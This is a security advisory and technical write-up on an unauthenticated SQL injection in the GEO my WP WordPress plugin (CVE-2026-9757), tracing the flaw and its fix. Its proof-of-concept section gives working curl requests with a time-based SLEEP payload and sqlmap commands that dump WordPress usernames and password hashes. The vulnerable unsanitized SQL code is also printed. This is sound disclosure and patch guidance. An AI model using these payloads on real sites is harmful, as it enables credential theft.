CVE-2026-9757: GEO my WP Unauthenticated SQL Injection (CVSS 7.5)
Table of Contents
CVE-2026-9757 is a CVSS 7.5 (High) unauthenticated SQL injection vulnerability in the GEO my WP WordPress plugin. An unauthenticated attacker can inject arbitrary SQL through the swlatlng and nelatlng map boundary parameters and extract any data from the site’s database. All versions up to and including 4.5.5 are affected. Version 4.5.5.1 contains the fix.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | GEO my WP |
| Plugin Slug | geo-my-wp |
| CVE ID | CVE-2026-9757 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Vulnerability Type | Unauthenticated SQL Injection |
| Affected Versions | <= 4.5.5 |
| Patched Version | 4.5.5.1 |
| Published | May 29, 2026 |
| Researcher | Naoya Takahashi (nakko) |
| Wordfence Advisory | Link |
Description
The GEO my WP plugin is vulnerable to SQL injection via the swlatlng and nelatlng parameters in all versions up to and including 4.5.5. The plugin reads these parameters from $_SERVER['QUERY_STRING'] using parse_str(). This bypasses WordPress’s wp_magic_quotes protection, which only covers $_POST, $_GET, $_COOKIE, and $_REQUEST.
Each parameter is then split on , using explode(). The resulting fragments are interpolated directly into a SQL BETWEEN clause inside gmw_get_locations_within_boundaries_sql(). There is no is_numeric() validation, no (float) casting, no esc_sql(), and no $wpdb->prepare().
Exploitation requires the site to host the Posts Locator search results shortcode ([gmw form="results" form_id=N]) on a public page, and to have at least one published post with an associated gmw_location row.
Technical Analysis
Vulnerable Function: gmw_get_locations_within_boundaries_sql()
The core vulnerability is in includes/gmw-functions.php around line 669. The function receives two comma-separated coordinate strings, splits them on ,, and builds a raw SQL fragment by direct string interpolation:
function gmw_get_locations_within_boundaries_sql( $southwest = '', $northeast = '' ) {
if ( empty( $southwest ) || empty( $northeast ) ) {
return;
}
$sw = explode( ',', $southwest );
$ne = explode( ',', $northeast );
return " AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} ) AND ( ( {$sw[1]} < {$ne[1]} AND gmw_locations.longitude BETWEEN {$sw[1]} AND {$ne[1]} )
OR ( {$sw[1]} > {$ne[1]} AND (gmw_locations.longitude BETWEEN {$sw[1]} AND 180 OR gmw_locations.longitude BETWEEN -180 AND {$ne[1]} ) ) )";
}
$sw[0] and $sw[1] come directly from user input. No validation runs before they land in the SQL string.
How User Input Reaches the SQL
The execution path starts at the shortcode renderer.
Step 1 — Reading $_SERVER['QUERY_STRING']
In includes/class-gmw-form.php line 117, get_form_values() reads the raw query string:
public function get_form_values() {
// Sanitized and escaped later when outputting values.
$qs = isset( $_SERVER['QUERY_STRING'] ) ? wp_unslash( $_SERVER['QUERY_STRING'] ) : '';
return gmw_get_form_values( $this->url_px, $qs );
}
WordPress’s wp_magic_quotes() only protects $_GET, $_POST, $_COOKIE, and $_REQUEST. Reading from $_SERVER['QUERY_STRING'] bypasses that protection entirely.
Step 2 — parse_str() without sanitization
In includes/gmw-functions.php line 520, the raw query string is parsed with parse_str():
function gmw_get_form_values( $prefix = '', $query_string = '' ) {
$output = array();
if ( ! empty( $query_string ) ) {
$query_string = '' === $prefix ? $query_string : str_replace( $prefix, '', $query_string );
parse_str( $query_string, $output );
// ...
}
return $output;
}
parse_str() URL-decodes the values and stores them in $output. The swlatlng and nelatlng keys arrive with their values unsanitized.
Step 3 — Passing to query args
In includes/class-gmw-form-core.php line 794, the values flow directly into the WordPress query arguments:
$gmw_location_args = array(
// ...
'gmw_swlatlng' => ! empty( $this->form['form_values']['swlatlng'] ) ? $this->form['form_values']['swlatlng'] : '',
'gmw_nelatlng' => ! empty( $this->form['form_values']['nelatlng'] ) ? $this->form['form_values']['nelatlng'] : '',
// ...
);
Step 4 — SQL injection in posts_clauses filter
In plugins/posts-locator/includes/class-gmw-wp-query.php line 264, the values are passed to the vulnerable SQL-building function:
if ( ! empty( $args['gmw_swlatlng'] ) && ! empty( $args['gmw_nelatlng'] ) ) {
$where .= gmw_get_locations_within_boundaries_sql( $args['gmw_swlatlng'], $args['gmw_nelatlng'] );
}
Why the Bypass Works
WordPress’s wp_magic_quotes protection runs on $_GET, not on $_SERVER['QUERY_STRING']. Both contain the same query string, but $_SERVER['QUERY_STRING'] is the raw, unprocessed value. The plugin’s developer chose to read from $_SERVER to handle custom URL prefix stripping, but did not add any compensating sanitization.
Contrast with Properly Sanitized Parameters
The same query class correctly validates the gmw_lat and gmw_lng parameters at line 286:
if ( ! is_numeric( $args['gmw_lat'] ) || ! is_numeric( $args['gmw_lng'] ) ) {
$clauses['where'] .= ' AND 1 = 0';
return $clauses;
}
$lat = (float) $args['gmw_lat'];
$lng = (float) $args['gmw_lng'];
The swlatlng and nelatlng parameters received none of this treatment.
Proof of Concept
Disclaimer: This PoC is for educational purposes only. Test only on systems you own or have written permission to test.
Prerequisites:
- WordPress site running GEO my WP version ≤ 4.5.5
- A public page with the shortcode
[gmw form="results" form_id=1] - At least one geocoded post (so
gmw_locationrows exist in the database)
Step 1: Identify the results page
Find a publicly accessible page that renders the Posts Locator results shortcode. The URL will look like https://SITE/RESULTS-PAGE/.
Step 2: Confirm the injection with a time-based payload
Send a baseline request and then an injected request. Compare the response times.
# Baseline — should respond in under 1 second
time curl -s -o /dev/null \
"http://SITE/RESULTS-PAGE/?swlatlng=-90,-90&nelatlng=90,90"
# Injected — should delay ~5 seconds
time curl -s -o /dev/null \
"http://SITE/RESULTS-PAGE/?swlatlng=(SELECT(0)FROM(SELECT(SLEEP(5)))x),-90&nelatlng=90,90"
The payload (SELECT(0)FROM(SELECT(SLEEP(5)))x) is injected into $sw[0] (the latitude fragment before the first comma). It produces this SQL:
AND ( gmw_locations.latitude BETWEEN (SELECT(0)FROM(SELECT(SLEEP(5)))x) AND 90 )
AND ( ( -90 < 90 AND gmw_locations.longitude BETWEEN -90 AND 90 ) ... )
MySQL evaluates the subquery, sleeps 5 seconds, and returns 0. If the response is delayed, the site is vulnerable.
Step 3: Automated extraction with sqlmap
# Detect the injection point
sqlmap -u "http://SITE/RESULTS-PAGE/?swlatlng=-90,-90&nelatlng=90,90" \
-p swlatlng \
--dbms=mysql \
--technique=T \
--level=3 --risk=2 \
--batch
# Extract WordPress user credentials
sqlmap -u "http://SITE/RESULTS-PAGE/?swlatlng=-90,-90&nelatlng=90,90" \
-p swlatlng \
--dbms=mysql \
--technique=T \
-D wordpress -T wp_users \
-C user_login,user_pass \
--dump --batch
Expected result: sqlmap extracts WordPress user login names and password hashes from the database without any authentication.
Patch Analysis
The fix in version 4.5.5.1 adds a new validation function gmw_parse_latlng_boundary() in includes/gmw-functions.php and applies it at two separate layers.
New validation function:
+function gmw_parse_latlng_boundary( $boundary = '' ) {
+
+ if ( ! is_string( $boundary ) || '' === $boundary ) {
+ return false;
+ }
+
+ $coords = array_map( 'trim', explode( ',', $boundary ) );
+
+ if ( 2 !== count( $coords ) ) {
+ return false;
+ }
+
+ if ( ! is_numeric( $coords[0] ) || ! is_numeric( $coords[1] ) ) {
+ return false;
+ }
+
+ $lat = (float) $coords[0];
+ $lng = (float) $coords[1];
+
+ if ( ! is_finite( $lat ) || ! is_finite( $lng ) ) {
+ return false;
+ }
+
+ if ( abs( $lat ) > 90 || abs( $lng ) > 180 ) {
+ return false;
+ }
+
+ return array( $lat, $lng );
+}
Layer 1 — Early rejection in gmw_get_form_values():
+ if ( isset( $output['swlatlng'] ) && false === gmw_parse_latlng_boundary( $output['swlatlng'] ) ) {
+ unset( $output['swlatlng'] );
+ }
+
+ if ( isset( $output['nelatlng'] ) && false === gmw_parse_latlng_boundary( $output['nelatlng'] ) ) {
+ unset( $output['nelatlng'] );
+ }
Invalid boundary values are removed from the form values array before they can reach any query code.
Layer 2 — Prepared statements in gmw_get_locations_within_boundaries_sql():
- $sw = explode( ',', $southwest );
- $ne = explode( ',', $northeast );
-
- return " AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} ) AND ( ( {$sw[1]} < {$ne[1]} AND gmw_locations.longitude BETWEEN {$sw[1]} AND {$ne[1]} )
- OR ( {$sw[1]} > {$ne[1]} AND (gmw_locations.longitude BETWEEN {$sw[1]} AND 180 OR gmw_locations.longitude BETWEEN -180 AND {$ne[1]} ) ) )";
+ $sw = gmw_parse_latlng_boundary( $southwest );
+ $ne = gmw_parse_latlng_boundary( $northeast );
+
+ if ( false === $sw || false === $ne ) {
+ return '';
+ }
+
+ global $wpdb;
+
+ return $wpdb->prepare(
+ ' AND ( gmw_locations.latitude BETWEEN %f AND %f ) AND ( ( %f < %f AND gmw_locations.longitude BETWEEN %f AND %f )
+ OR ( %f > %f AND (gmw_locations.longitude BETWEEN %f AND 180 OR gmw_locations.longitude BETWEEN -180 AND %f ) ) )',
+ $sw[0], $ne[0],
+ $sw[1], $ne[1], $sw[1], $ne[1],
+ $sw[1], $ne[1], $sw[1], $ne[1]
+ );
The fix addresses the root cause, not just the symptom. The validation chain rejects anything that is not exactly two comma-separated finite floats within valid geographic coordinate ranges. The SQL is then built with $wpdb->prepare() using %f placeholders.
Timeline
| Date | Event |
|---|---|
| May 29, 2026 | Vulnerability published by Wordfence |
| May 30, 2026 | Advisory last updated |
| Version 4.5.5.1 | Patch released by plugin author |
Remediation
Update GEO my WP to version 4.5.5.1 or later. You can update directly from the WordPress admin dashboard under Plugins → Installed Plugins, or download the patched version from wordpress.org.
If you cannot update immediately, consider deactivating the plugin or removing any public pages that render the Posts Locator search results shortcode until the update is applied.
References
- Wordfence Advisory — CVE-2026-9757
- CVE-2026-9757 on cve.org
- Vulnerable:
gmw-functions.phpL678 — raw SQL interpolation - Vulnerable:
class-gmw-form.phpL117 — QUERY_STRING read - Vulnerable:
gmw-functions.phpL520 —parse_str()call - Vulnerable:
class-gmw-form-core.phpL794 — query args - Vulnerable:
class-gmw-wp-query.phpL266 — SQL function call - Patch changeset —
gmw-functions.php - Diff: 4.5.5 → 4.5.5.1